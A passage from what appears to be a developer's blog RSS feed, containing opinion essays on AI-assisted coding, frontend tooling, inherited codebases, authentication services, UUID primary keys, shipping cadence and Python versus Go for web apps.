id="llm-attributes-as-human-metaphors"><strong>LLM attributes as Human Metaphors</strong></h2><p><strong>Zero-shot vs Few-shot Learning</strong></p><p>A child touching a hot stove once? Few-shot learning.</p><p>Reading five flashcards before a quiz? Few-shot.</p><p>Encountering a new idea and making sense of it because of prior abstractions? That’s zero-shot. That’s transfer.</p><p><strong>Prompt Injection</strong></p><p>Ever been influenced mid-conversation and changed your tone? That’s human prompt injection.</p><p>Context hijacks our behaviour more often than we care to admit.</p><p><strong>Temperature</strong></p><p>High-temperature models generate more creative outputs.</p><p>People too. Under constraints, some freeze(forgive the pun!). Others improvise. Your internal “temperature” — mindset, mood, caffeine level — changes how you think.</p><p><strong>Loss function</strong></p><p>For models, it’s a calculated gradient.</p><p>For us, it’s regret. Embarrassment. The wince of feedback.</p><p>Pain and fear are our backpropagation signals.</p><h1 id="where-do-we-excel">Where do we excel?</h1><p>But for all the parallels, there are crucial ways our brains still outclass even the largest models.</p><p>LLMs don’t<em>want</em> anything. They don’t have drive, curiosity, fear, embarrassment, or delight. They don’t learn unless someone forces them to. They don’t<em>decide</em> to improve. We do.</p><p>We seek out the loop. We care when we’re wrong. We revise because we<em>want</em> to get better, not because we’re re-trained on a new batch.</p><p>We remember emotionally. The sting of failure. The warmth of praise. The embarrassment of a bad take in public. That visceral encoding is something no model has.</p><p>We can self-direct. A model doesn’t wake up one day and say, “I think I need to get better at analogies.” But we do. We read something brilliant and feel inspired. We listen to a master and feel the gap. That’s not loss minimization. That’s ambition.</p><p>We generalize across domains in weird, leaky, beautiful ways. A lesson in Carnatic violin may improve our writing cadence. A novel may shape how we manage teams. We mix metaphors, break schemas, leap categories. LLMs struggle with that. They interpolate. We cross-pollinate.</p><p>We also<em>choose</em> our training data. We can decide what to consume, who to listen to, what to believe. We can uninstall toxic sources. Curate higher quality inputs. Reinforce the patterns we want to keep.</p><p>And unlike static models, we have agency over our fine-tuning. We can say: I don’t want to respond that way anymore. I don’t want to be that version of myself. And we can go train a better one.</p><p>A model may freeze its weights. But we don’t have to.</p><p>We’re wetware — always learning, always plastic, always in the loop.</p>
]]></content:encoded></item><item><title>Did We Overthink Frontend?</title><link>https://lakshminp.com/2025/10/did-we-overthink-frontend/</link><pubDate>Sun, 05 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/did-we-overthink-frontend/</guid><category>essays</category><category>craft</category><description>I miss the 2000s. Not for the fashion. Not for the music. But for the sheer joy of opening a file called index.html, writing a few tags, sprinkling in some JavaScript (read: jQuery), and watching things just work. No build steps. No “npm install” that takes 3 minutes and a small prayer. No mysterious folders named dist or node_modules that collectively occupy more space than my entire operating system.
Back then, CSS was both cruel and kind. Sure, floats were a nightmare. But at least you knew where the pain came from. You weren’t wrestling with layers of abstraction, you were just yelling at Internet Explorer and calling it a day.</description><content:encoded>&lt;![CDATA[<p>I miss the 2000s. Not for the fashion. Not for the music. But for the sheer joy of opening a file called<code>index.html</code>, writing a few tags, sprinkling in some JavaScript (read: jQuery), and watching things just work. No build steps. No “npm install” that takes 3 minutes and a small prayer. No mysterious folders named<code>dist</code> or<code>node_modules</code> that collectively occupy more space than my entire operating system.</p><p>Back then, CSS was both cruel and kind. Sure, floats were a nightmare. But at least you knew where the pain came from. You weren’t wrestling with layers of abstraction, you were just yelling at Internet Explorer and calling it a day.</p><p>I still remember deploying websites via FTP. You edited the file live on the server. It was cowboy coding. It was wrong. It was also&hellip; fast.</p><p>Contrast that with today. Want to build a button? Great. First, pick your framework: React, Vue, Svelte, Solid, Astro, Qwik&hellip; feeling dizzy yet? Then set up your linter, your formatter, your pre-commit hook. Configure your TypeScript paths. Resolve some cryptic Webpack error about “Cannot read property ‘undefined’ of null”. Finally, install a UI library, override all the defaults, and write ten lines of Tailwind just to get a pill-shaped button with a drop shadow.</p><p>And that button still looks different on Safari.</p><p>Modern devs love to tout “Developer Experience.” Which is ironic, because the actual experience feels more like IKEA furniture assembly — except every piece came from a different warehouse, and you’re not sure if you accidentally installed a kitchen cabinet in your login form.</p><p>We’ve optimized the hell out of everything. Everything except joy.</p><p>It’s not that the 2000s were better. They were<em>simpler</em>. You didn’t need a mental model for hydration or SSR or static generation strategies. You just wrote code, hit refresh, and moved on. Today, you hit refresh and wait for the build to compile while questioning your life choices.</p><p>Look, I’m not saying we throw out our modern toolchains and go back to editing HTML in Notepad. I like my hot reloads. I love TypeScript (well, most days). But maybe, just maybe, the past had something to teach us: that frictionless creation matters. That not every project needs a monorepo. That clarity beats cleverness.</p><p>So the next time you’re six hours into configuring your<code>tsconfig.json</code>, ask yourself: what would the 2009 me do?</p><p>He’d probably already be done with the project.</p><p>Maybe it’s time to make frontend fun again.</p>
]]></content:encoded></item><item><title>AI Can Build Anything—Except Product Taste</title><link>https://lakshminp.com/2025/10/ai-product-taste/</link><pubDate>Sat, 04 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/ai-product-taste/</guid><category>essays</category><category>craft</category><description>Everyone says AI makes you “10x more productive.” I’m not sure about that. What it actually made me is… more deliberate.
When execution is basically free, the bottleneck shifts. It’s no longer can I build this? It’s should I build this?
That sounds obvious, but most of us (me included) are terrible at it. We confuse motion for progress. And AI just cranks the treadmill speed up to 11.
Here’s what I mean.</description><content:encoded>&lt;![CDATA[<p>Everyone says AI makes you “10x more productive.” I’m not sure about that. What it actually made me is… more deliberate.</p><p>When execution is basically free, the bottleneck shifts. It’s no longer<em>can I build this?</em> It’s<em>should I build this?</em></p><p>That sounds obvious, but most of us (me included) are terrible at it. We confuse motion for progress. And AI just cranks the treadmill speed up to 11.</p><p>Here’s what I mean.</p><p>The other weekend, I let myself play around with the idea of “AI-generated developer dashboards.” Normally, something like that would eat a week of evenings. This time, I had three versions running before breakfast: a React prototype, a Python backend spitting out metrics, and a half-decent mock landing page.</p><p>Impressive? Maybe. Useful? Not really. By Sunday night I realized I’d basically built three beautifully useless toys. Execution had been trivial. The problem was never execution—it was me chasing shiny objects.</p><p>That’s the AI paradox. It lowers the cost of building so much that the real scarcity becomes<em>taste</em>. Judgment. The ability to say no.</p><p>Because here’s the dark side: the opportunity cost of distraction just went up. Before, if I burned a week tinkering on something dumb, at least I learned a few low-level tricks. Now I can burn a week and end up with a full microservice, a CI/CD pipeline, and a Terraform config… for an idea that didn’t deserve any of it. Congratulations, I’ve industrialized my dead ends.</p><p>I’ve caught myself doing this with infrastructure experiments, too. AI will happily generate Kubernetes manifests, Helm charts, and CI workflows for whatever hair-brained service I throw at it. The code even looks plausible at first glance. Then I deploy it, watch it explode, and realize the whole thing never needed to exist in the first place. It’s the most polished waste of time imaginable.</p><p>And this is why restraint has suddenly become a superpower. The real work isn’t generating more; it’s filtering harder. AI will give you 50 rabbit holes before lunch. If you’re not ruthless about which one you go down, you’re just automating your own distraction.</p><p>The old mantra was “ship fast and break things.” AI makes that easier than ever. But there’s a hidden multiplier effect: fast execution with bad strategy doesn’t just fail—it fails<em>louder</em>. You don’t just waste time, you waste time at scale. Meanwhile, the teams with clear strategy and discipline can use the exact same tools to compound wins. Same technology, wildly different outcomes.</p><p>This is why I think “thinking” has quietly become underrated. Tinkering used to be the path to learning. Now tinkering is dangerous. You can dig a perfect hole in the wrong place faster than ever. Spending more time deciding where to dig—that’s the skill worth leveling up.</p><p>Developers don’t usually like to hear that. We want to build. But in an AI-first world, the rarest and most valuable act might be…<em>not</em> building. Closing the tab. Saying no to the prototype. Choosing boredom over the dopamine hit of “look what I got running.”</p><p>So no, AI didn’t make me more productive. It made me picky. It forced me to care about what I was building in the first place.</p><p>And that’s the paradox: AI made execution trivial, so the premium is now on taste, judgment, and focus.</p><p>If you can’t decide what matters, AI will happily help you drown in what doesn’t.</p>
]]></content:encoded></item><item><title>5 Ways to Survive an Inherited Codebase</title><link>https://lakshminp.com/2025/10/dealing-with-bad-code/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/dealing-with-bad-code/</guid><category>essays</category><category>craft</category><description>We spend more time reading code than writing it. And most of that time? We’re reading someone else’s code. Chances are, it’s not an uplifting experience.
Maybe it was a rushed MVP. Maybe it’s a legacy system built by three devs who’ve all since disappeared into the ether. Maybe it’s your code from six months ago, which is somehow worse.
Whatever the case, you’ve inherited it now. Congrats. Here are five things to do when faced with a gnarly codebase that makes you question your career choices.</description><content:encoded>&lt;![CDATA[<p>We spend more time reading code than writing it. And most of that time? We’re reading someone else’s code. Chances are, it’s not an uplifting experience.</p><p>Maybe it was a rushed MVP. Maybe it’s a legacy system built by three devs who’ve all since disappeared into the ether. Maybe it’s<em>your</em> code from six months ago, which is somehow worse.</p><p>Whatever the case, you’ve inherited it now. Congrats. Here are five things to do when faced with a gnarly codebase that makes you question your career choices.</p><h2 id="1-read-it-like-an-archaeologist-not-a-critic"><strong>1. Read It Like an Archaeologist, Not a Critic</strong></h2><p>You’re not here to judge. You’re here to understand. Pretend you’re brushing dust off a piece of ancient tech, not roasting it on Twitter.</p><p>Resist the temptation to label everything “garbage.” Start by asking: what was this trying to do? What constraints might they have had? What shortcuts were probably necessary?</p><p>Instead of rewriting it all from scratch (which you won’t), focus on uncovering the original intentions. Sometimes the logic is buried under years of duct tape — but there<em>was</em> logic once.</p><blockquote><p>Pro move: jot down confusing patterns as questions, not accusations. “Why is this loop reassigning itself?” is better than “wtf is this trash.” It’ll help your future debugging and preserve your sanity.</p></blockquote><h2 id="2-run-it-break-it-run-it-again"><strong>2. Run It. Break It. Run It Again.</strong></h2><p>Before you touch a single line, get it running. Locally. In a container. In staging. On a Raspberry Pi duct-taped to your modem. Whatever it takes.</p><p>You need to see the beast in motion. Trigger features, hit edge cases, try invalid input. Watch how it responds. Some things will crash spectacularly. Others will weirdly work.</p><p>This is how you learn the terrain. Think of it as a reconnaissance mission, not a rescue operation.</p><blockquote><p>And yes, this might involve reading a README last updated in 2019 or figuring out why it depends on a deprecated npm package called leftpad-magic.</p></blockquote><h2 id="3-map-the-landmines"><strong>3. Map the Landmines</strong></h2><p>There are always a few “do not touch” areas. Legacy functions nobody understands. Cron jobs that magically keep the business running. Data pipelines held together by tab-delimited CSVs and prayer.</p><p>Map these out. Comment them. Annotate them. Make a living doc if you need to. This isn’t overengineering — it’s survival.</p><p>Because one day, someone (you?)<em>will</em> try to refactor a critical part at 4:45 PM on a Friday. Your notes might be the thing that prevents a full-blown incident.</p><blockquote><p>Think of it like marking traps in a dungeon. It’s not glamorous, but future-you will thank present-you.</p></blockquote><h2 id="4-find-the-one-smart-thing"><strong>4. Find the “One Smart Thing”</strong></h2><p>Even the ugliest codebases have one bit of elegant, well-considered design. Maybe it’s a clever bit of caching. Maybe the data model actually anticipates edge cases. Maybe some long-forgotten dev wrote a shell script that works<em>flawlessly</em> every single time.</p><p>Find that piece. Admire it. Then steal the pattern.</p><p>Because buried in the wreckage of bad code are usually hints of what the author<em>wanted</em> the system to be — before it devolved into spaghetti.</p><blockquote><p>Recognizing that “one smart thing” also gives you a thread to pull on if you ever do get the green light to refactor properly.</p></blockquote><h2 id="5-start-small-fix-what-you-touch"><strong>5. Start Small. Fix What You Touch.</strong></h2><p>The heroic rewrite is a fantasy. You will not rebuild the system in two weeks with clean architecture and perfect tests. You will get halfway, then get pulled into sprint planning or on-call.</p><p>Instead, fix things incrementally. Touching a function? Refactor it. See a poorly named variable? Rename it. Writing a feature? Add tests for the nearby stuff.</p><p>This is the Boy Scout Rule: leave the code a little better than you found it.</p><blockquote><p>Over time, these small changes compound. You build trust with teammates. You make future maintenance suck slightly less. You stop fearing the codebase.</p></blockquote><h2 id="coming-soon"><strong>Coming Soon…</strong></h2><p>I’ll be expanding each of these into standalone posts, diving deeper into how to:</p><ul><li><p>Reverse-engineer legacy logic without losing your mind</p></li><li><p>Use staging environments and logs as your secret weapons</p></li><li><p>Build minimal but helpful internal docs around landmines</p></li><li><p>Spot (and reuse) the clever patterns buried in legacy code</p></li><li><p>Actually make progress on refactoring, even with deadlines</p></li></ul><p>And yes — I’ll include a version for folks who use AI coding assistants (whether it’s Claude, Augment, Copilot, or whatever else). They’re great at speeding things up… and occasionally making legacy code worse in new and exciting ways.</p><p><strong>TL;DR:</strong> You will inherit bad code. It<em>will</em> suck. But with a little strategy — and some sarcasm — you can survive it, improve it, and maybe even learn a thing or two from it.</p>
]]></content:encoded></item><item><title>The Real Skill AI Won’t Replace</title><link>https://lakshminp.com/2025/10/the-real-skill-ai-wont-replace/</link><pubDate>Thu, 02 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/the-real-skill-ai-wont-replace/</guid><category>essays</category><category>ai-coding</category><description>Ah yes, the mythical full stack developer. Fluent in Kubernetes and CSS. Can debug a flaky WebSocket connection and make the button pop just right in Safari 14.3. Also, fluent in four frontend frameworks, three ORMs, and—if you’re lucky—your company’s internal tooling written in Bash and tears.
It sounds impressive. Until you realize “full stack” is just corporate for “three jobs, one salary, no support.”
The original promise of full stack was noble: break down silos, build end-to-end features, own your code. But somewhere along the way, it mutated. Now it means you’re responsible for everything from designing the API schema to fixing the div that renders weird on IE11. Oh, and could you also write some Terraform while you’re at it?</description><content:encoded>&lt;![CDATA[<p>Ah yes, the mythical<em>full stack developer</em>. Fluent in Kubernetes<em>and</em> CSS. Can debug a flaky WebSocket connection<em>and</em> make the button pop just right in Safari 14.3. Also, fluent in four frontend frameworks, three ORMs, and—if you’re lucky—your company’s internal tooling written in Bash and tears.</p><p>It sounds impressive. Until you realize “full stack” is just corporate for “three jobs, one salary, no support.”</p><p>The original promise of full stack was noble: break down silos, build end-to-end features, own your code. But somewhere along the way, it mutated. Now it means you’re responsible for everything from designing the API schema to fixing the div that renders weird on IE11. Oh, and could you also write some Terraform while you’re at it?</p><p>Let’s be honest: in 2025, “full stack” mostly means “we can’t afford to hire a team, so here’s a to-do list that spans five specialties.”</p><p>But here’s the twist: I still think you<em>should</em> aim for T-shaped skills. Just not the way HR thinks you should.</p><p>Because here’s what’s changed: we’ve now got an army of AI copilots ready to autocomplete half your job—badly. They’ll hallucinate types, suggest incorrect regex, and cheerfully rename your variables while subtly breaking the logic.</p><p>If you want to survive<em>this</em> stack, you need to know enough frontend, backend, infra, and AI prompt engineering to know when the machine is lying to you.</p><p>Being “T-shaped” doesn’t mean you’re an expert in everything. It means you can go deep where it matters (ideally in your core domain), and navigate the rest well enough to not get wrecked. It means you know when to trust ChatGPT’s code suggestion, and when to back away slowly and grep the logs yourself.</p><p>In other words: it’s no longer “full stack vs backend vs frontend.” It’s humans who can collaborate with AI vs humans who are about to get buried in merge conflicts and synthetic bugs.</p><p>So yeah, full stack as a job description might be a scam. But being<em>versatile</em>? That’s survival.</p><p>Especially if your AI sidekick starts suggesting you replace your Postgres schema with a single JSON blob. Again.</p><h3 id="source-that-inspired-this-post">Source that inspired this post:</h3><p>An error occurred.</p><p>Unable to execute JavaScript.</p>
]]></content:encoded></item><item><title>Don’t Build the Login Box</title><link>https://lakshminp.com/2025/10/dont-build-the-login-box/</link><pubDate>Wed, 01 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/dont-build-the-login-box/</guid><category>essays</category><category>security</category><description>Here’s a fun exercise:
Build your own user authentication from scratch. You’ll need:
Signup forms
Login forms
Password hashing (securely!)
Email verification flows
Forgot password + reset logic
Session management
CSRF protection
OAuth integrations (for when someone wants Google login)
Rate limiting, logging, bot protection&amp;hellip;
Fun yet? Probably not.
Now do all of that correctly. With zero bugs. And keep it updated for the next 5 years.
Still want to build it?</description><content:encoded>&lt;![CDATA[<p><strong>Here’s a fun exercise:</strong></p><p>Build your own user authentication from scratch. You’ll need:</p><ul><li><p>Signup forms</p></li><li><p>Login forms</p></li><li><p>Password hashing (securely!)</p></li><li><p>Email verification flows</p></li><li><p>Forgot password + reset logic</p></li><li><p>Session management</p></li><li><p>CSRF protection</p></li><li><p>OAuth integrations (for when someone wants Google login)</p></li><li><p>Rate limiting, logging, bot protection&hellip;</p></li></ul><p>Fun yet? Probably not.</p><p>Now do all of that<em>correctly</em>. With zero bugs. And keep it updated for the next 5 years.</p><p>Still want to build it?</p><p><strong>Auth Is a Trap for Smart Developers</strong></p><p>It<em>feels</em> simple. A form, a database, a session cookie.</p><p>But auth is like an iceberg. Most of the complexity is invisible until it sinks your app.</p><p>You’re not just writing code. You’re handling identity, security, compliance, and user trust. All in a space where one misstep means leaked data or worse.</p><p><strong>Services Exist for a Reason</strong></p><p>There are entire companies (Auth0, Clerk, Supabase, WorkOS, Descope) dedicated to making auth usable and secure.</p><p>They’ve handled edge cases you haven’t even thought of. They obsess over MFA, token expiry, cookie flags, replay attacks. You just want users to log in.</p><p>So let them.</p><p><strong>But What About Control?</strong></p><p>If you need full control for regulatory or product reasons, sure — roll your own. But understand the cost.</p><p>It’s not just about writing code. It’s about:</p><ul><li><p>Maintaining that code</p></li><li><p>Auditing it</p></li><li><p>Scaling it</p></li><li><p>Keeping up with evolving best practices</p></li></ul><p>Most apps don’t need a custom auth system. They need<em>working auth</em>. Now.</p><p><strong>The Boring Stuff Should Just Work</strong></p><p>Building your own auth is like writing your own TLS implementation. It might be educational. It might even be fun. But it’s rarely the best use of your time.</p><p>Ship faster. Sleep better. Let someone else worry about the password reset flow.</p><p>Be the dev who ships products, not the one debugging cookie flags at 2am.</p><p>Unless you’re building the next Okta, stop building login boxes.</p>
]]></content:encoded></item><item><title>It Was Just a Primary Key. What Could Go Wrong?</title><link>https://lakshminp.com/2025/09/uuid-primary-key-mistake/</link><pubDate>Tue, 30 Sep 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/09/uuid-primary-key-mistake/</guid><category>essays</category><category>craft</category><description>If you ever want to feel smart and slowly ruin your app’s performance, I highly recommend using UUIDs as your primary keys. Works like a charm.
Like many backend developers, I once believed UUIDs were a sign of architectural maturity. They’re globally unique! Secure! Future-proof! How could that possibly backfire?
So I used UUIDs for everything. Users. Orders. Logs. Probably my lunch orders too.
Everything was fine… until one day, our dashboard took 5 seconds to load user stats. Five. Full. Seconds. That’s an eternity when you’re trying to look competent in front of a customer.</description><content:encoded>&lt;![CDATA[<p>If you ever want to feel smart<em>and</em> slowly ruin your app’s performance, I highly recommend using UUIDs as your primary keys. Works like a charm.</p><p>Like many backend developers, I once believed UUIDs were a sign of architectural maturity. They’re globally unique! Secure! Future-proof! How could that possibly backfire?</p><p>So I used UUIDs for everything. Users. Orders. Logs. Probably my lunch orders too.</p><p>Everything was fine… until one day, our dashboard took 5 seconds to load user stats. Five. Full. Seconds. That’s an eternity when you’re trying to look competent in front of a customer.</p><p>At first, I did what any responsible founder does: I blamed Heroku. Then I blamed Postgres. Then I ran<code>pg_stat_user_indexes</code>.</p><p>And there it was. My precious users table had an index so bloated it looked like it had been living off pizza and regret. The B-tree was a mess—fragmented by months of inserting completely random UUIDs. Every new user was wedging itself into a random place in the index like a toddler shoving Legos into a DVD player.</p><p>The root cause? UUIDs don’t play nicely with B-tree indexes. They’re not sequential. So instead of nice, ordered inserts, you get chaos—page splits, cache misses, and a slowly dying database.</p><p><strong>The fix?</strong></p><p>I switched to<code>uuid_generate_v1mc()</code>, which creates roughly time-sortable UUIDs. Performance got better. My ego… stayed bruised.</p><p><strong>So here’s the rule of thumb.</strong></p><p>UUIDs aren’t bad. They’re just not magic.</p><p><strong>Use them when</strong></p><ul><li><p>You need to generate IDs across distributed systems.</p></li><li><p>You don’t want people guessing URLs (/reset-password/:id).</p></li><li><p>You’re migrating or merging datasets and need guaranteed uniqueness.</p></li></ul><p><strong>Avoid them when</strong></p><ul><li><p>You care about write performance and index size.</p></li><li><p>You’re joining on them frequently.</p></li><li><p>You want to be able to debug without going cross-eyed.</p></li></ul><p>Or to put it another way:</p><p>If you wouldn’t tattoo a UUID on your arm, maybe don’t use it as your primary key.</p>
]]></content:encoded></item><item><title>AI Made Me Faster at Procrastinating</title><link>https://lakshminp.com/2025/09/ai-made-me-faster-at-procrastinating/</link><pubDate>Mon, 29 Sep 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/09/ai-made-me-faster-at-procrastinating/</guid><category>essays</category><category>ai-coding</category><description>A few weeks ago, I caught myself doing something ridiculous.
I was surrounded by all the tools that are supposed to make me faster, smarter, more efficient—ChatGPT in one tab, Cursor humming in the IDE, Claude on standby for the longer stuff—and somehow… I had spent the entire week refactoring a feature that hadn’t shipped.
Not building. Not testing. Just circling the drain of “making it better.”
That’s when it hit me—not like lightning, but like a slow, shameful realization:</description><content:encoded>&lt;![CDATA[<p>A few weeks ago, I caught myself doing something ridiculous.</p><p>I was surrounded by all the tools that are supposed to make me faster, smarter, more efficient—ChatGPT in one tab, Cursor humming in the IDE, Claude on standby for the longer stuff—and somehow… I had spent the entire week refactoring a feature that hadn’t shipped.</p><p>Not building. Not testing. Just circling the drain of “making it better.”</p><p>That’s when it hit me—not like lightning, but like a slow, shameful realization:</p><p>If you’re not shipping weekly, you’re not taking advantage of AI. You’re just bikeshedding with fancier tools.</p><h2 id="the-new-age-of-productive-procrastination"><strong>The New Age of Productive Procrastination</strong></h2><p>We used to say we couldn’t move fast because the tools were slow. Hard to deploy. Annoying to configure. Models too dumb. Infra too brittle.</p><p>Now?</p><p>We’ve got tools that can scaffold your backend, write your tests, spin up a UI, generate your changelog, draft your release notes, and create your launch tweet — all before lunch.</p><p>So what do we do?</p><p>We spend two hours arguing with GPT5 about the<strong>tone</strong> of our 404 page.</p><p>AI hasn’t just made us faster. It’s made us<em>better at procrastinating</em>. We can now fine-tune our mediocrity at lightning speed. Polish things that don’t matter. Add “clever” touches no one asked for. Debate prompt styles like they’re sacred texts.</p><p>It’s amazing. It’s also a trap.</p><h2 id="your-fancy-setup-doesnt-matter-if-nothing-ships"><strong>Your Fancy Setup Doesn’t Matter If Nothing Ships</strong></h2><p>Every dev team and weekend hacker has access to the same models now. Same open weights, same frameworks, same “build an agent” tutorials.</p><p>But some teams are shipping on Fridays.</p><p>Others are still fiddling with prompt chains.</p><p>The difference isn’t in talent. It’s in rhythm.</p><p>Shipping frequently is the new moat. Not because it makes you look good on Twitter, but because the ground underneath is moving. Fast.</p><p>A month of “thoughtful planning” can kill your idea before it meets the real world.</p><h2 id="but-what-if-its-not-ready"><strong>But What If It’s Not Ready?</strong></h2><p>It won’t be.</p><p>It never is.</p><p>You’ll always want to refactor one more function. Tune one more embedding. Rename one more internal config. You’re not alone — I’ve been there. I still go there, a little too often.</p><p>But here’s what I’ve learned the hard way:<strong>Nothing improves faster than something you’ve already shipped.</strong></p><p>You can’t get feedback on a figment. You can’t iterate on invisible.</p><h2 id="a-week-is-enough-even-if-it-feels-too-short"><strong>A Week Is Enough (Even If It Feels Too Short)</strong></h2><p>Weekly shipping is a forcing function. It makes you prioritize what’s real over what’s “clever.” It exposes what matters to users versus what just looks impressive in dev chat.</p><p>If I can’t scope something to ship in a week, chances are I’m biting more than I can chew.</p><p>Some weeks it’s a feature. Some weeks it’s cleanup. Some weeks it’s a one-line fix with a changelog that makes me cringe. That still counts. That’s progress.</p><h2 id="the-real-timeline-of-one-shipping-week"><strong>The Real Timeline of One Shipping Week</strong></h2><ul><li><p>Monday: Noticed my onboarding sucked</p></li><li><p>Tuesday: Asked ChatGPT to rewrite it (it made it worse, then better)</p></li><li><p>Wednesday: Wired up telemetry to track rage clicks</p></li><li><p>Thursday: Built a barely-working feedback button</p></li><li><p>Friday: Hit deploy. Apologized in advance. Sent it to users anyway.</p></li></ul><p>No magic. Just momentum.</p><h2 id="the-ironic-truth"><strong>The Ironic Truth</strong></h2><p>AI is supposed to be a productivity multiplier.</p><p>But if you let it, it’ll multiply your perfectionism. Your indecision. Your procrastination.</p><p>You’ll feel productive while achieving nothing. Like a hamster with a prompt window.</p><p>And the worst part? It<em>feels</em> like work. It’s dangerously satisfying.</p><p>Which is why now, more than ever, we need to build muscle around<strong>shipping</strong>, not just building.</p><blockquote><p>In 2007, PHP creator Rasmus Lerdorf said,<em>“PHP is about as exciting as your toothbrush. You use it every day, it does the job, it is a simple tool, so what? Who would want to read about toothbrushes?”</em></p></blockquote><p>That’s the thing about good tools — they’re boring when used well. You don’t marvel at your toothbrush every morning. You just get on with it.</p><p>AI tools should be the same. Invisible. Unremarkable. Part of the rhythm.</p><p>Ship first. Marvel later.</p><h2 id="so-what-now"><strong>So What Now?</strong></h2><p>Set the bar low. Something new every week.</p><p>Doesn’t have to be earth-shattering. Just<em>real</em>. Just live. Just something you can point to and say, “I learned something from this.”</p><p>The ones who keep shipping — even small things — are the ones who win this cycle.</p><p>Not because they outsmarted the world. But because they stopped arguing with their tools and started using them.</p>
]]></content:encoded></item><item><title>Your Python Web App is a Memory Hog. Admit It.</title><link>https://lakshminp.com/2025/09/your-python-web-app-is-a-memory-hog/</link><pubDate>Fri, 26 Sep 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/09/your-python-web-app-is-a-memory-hog/</guid><category>essays</category><category>craft</category><description>We’ve all seen this movie:
You build a “simple” Flask or Django app. You dockerize it. You deploy it on Kubernetes. Then you look at your node metrics and wonder why your app is eating memory like a Chrome tab farm.
And here comes the uncomfortable truth: Go apps don’t do this.
Concurrency: Built-In vs. Bolted-On Python still has the Global Interpreter Lock. AsyncIO, threads, gevent: all clever duct tape.</description><content:encoded>&lt;![CDATA[<p>We’ve all seen this movie:</p><p>You build a “simple” Flask or Django app. You dockerize it. You deploy it on Kubernetes. Then you look at your node metrics and wonder why your app is eating memory like a Chrome tab farm.</p><p>And here comes the uncomfortable truth:<strong>Go apps don’t do this.</strong></p><h3 id="concurrency-built-in-vs-bolted-on"><strong>Concurrency: Built-In vs. Bolted-On</strong></h3><p>Python still has the<strong>Global Interpreter Lock</strong>. AsyncIO, threads, gevent: all clever duct tape.</p><p>Go’s goroutines? Native. Dirt cheap. A Go service can juggle tens of thousands of requests without you even thinking about it. Meanwhile, your Python service is scaling horizontally like it’s on cloud provider commission.</p><h3 id="deployment-one-binary-vs-frankenstack"><strong>Deployment: One Binary vs. Frankenstack</strong></h3><p>Running Python in production is like dragging a circus into your Pod spec:</p><ul><li><p>Gunicorn or Uvicorn</p></li><li><p>WSGI or ASGI adapters</p></li><li><p>Reverse proxy like Nginx</p></li><li><p>Virtualenvs just to keep packages sane</p></li></ul><p>Each one is another container, another moving part, another thing to patch.</p><p>Go?<strong>One binary. One container. One Deployment.</strong> Done.</p><h3 id="memory-lean-pods-vs-hungry-pods"><strong>Memory: Lean Pods vs. Hungry Pods</strong></h3><p>Here’s what happens under load:</p><ul><li><p>Go Pod: ~30–50 MB steady, serving requests.</p></li><li><p>Python Pod: 200–300 MB<em>per worker</em>.</p></li></ul><p>Kubernetes doesn’t care about your excuses. Requests and limits balloon, the autoscaler spins up more nodes, and your cloud bill burns.</p><p>The funny part? Your app isn’t even complex. The runtime is.</p><h3 id="magic-vs-predictability"><strong>Magic vs. Predictability</strong></h3><p>Python is “dynamic.” Translation: you find out about your bugs at runtime, usually while your Pod is CrashLooping.</p><p>Go is boring. Strict. Unforgiving at compile time. But once that binary ships, it just runs. Kubernetes likes boring. Operators like boring. Your SRE team loves boring.</p><h3 id="ecosystem-ai-crown-vs-web-pretender"><strong>Ecosystem: AI Crown vs. Web Pretender</strong></h3><p>Yes, Python owns the AI/ML world. If you’re training models, you’re not reaching for Go.</p><p>But for web apps? The Python ecosystem is bloated and patchwork. Go’s standard library gives you a production-ready HTTP server out of the box. No circus, no adapters, no excuses.</p><p>Python is fantastic for notebooks, scripts, and ML. But for web apps in Kubernetes? It’s a bloated liability.</p><p>Go apps scale cleaner, run cheaper, and keep clusters saner.</p><p>Stop pretending Python web apps are fine in production. They’re not. They’re expensive. They’re messy. And they’re only still around because developers are in denial.</p><p>Sometimes the boring choice is the right one. In Kubernetes, boring wins.</p>
]]></content:encoded></item><item><title>Your AI Pair Programmer Doesn’t Need a Buffet</title><link>https://lakshminp.com/2025/09/ai-context-window-focus/</link><pubDate>Thu, 25 Sep 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/09/ai-context-window-focus/</guid><category>essays</category><category>ai-coding</category><description>I remember the day way too well. I thought I was being clever. “Let me just paste this entire 5,000-line Python file into KiloCode and let it work its magic.” Efficient. Thorough. Genius.
Except… not.
The Great Context Collapse What actually happened looked more like watching someone try to drink from a fire hose. The AI took my massive input, nodded politely, and then gave me:
Answers that had nothing to do with my question</description><content:encoded>&lt;![CDATA[<p>I remember the day way too well. I thought I was being clever.<em>“Let me just paste this entire 5,000-line Python file into KiloCode and let it work its magic.”</em> Efficient. Thorough. Genius.</p><p>Except… not.</p><h2 id="the-great-context-collapse"><strong>The Great Context Collapse</strong></h2><p>What actually happened looked more like watching someone try to drink from a fire hose. The AI took my massive input, nodded politely, and then gave me:</p><ul><li><p>Answers that had nothing to do with my question</p></li><li><p>Vague “advice” that could apply to literally any project</p></li><li><p>Confident but wrong takes on my(??) code</p></li><li><p>References to functions that didn’t even exist</p></li></ul><p>To be clear: this wasn’t a problem with KiloCode itself. It was my fault. I drowned the poor thing.</p><p>And yes, the reason I had a 5,000-line Python file in the first place? That’s on me too. I just kept bolting on features without a proper review. One fine day, I looked up and realized the file had become unreadable. But that disaster deserves its own post.</p><h2 id="whats-going-on-under-the-hood"><strong>What’s Going On Under the Hood</strong></h2><p>AI coding assistants only 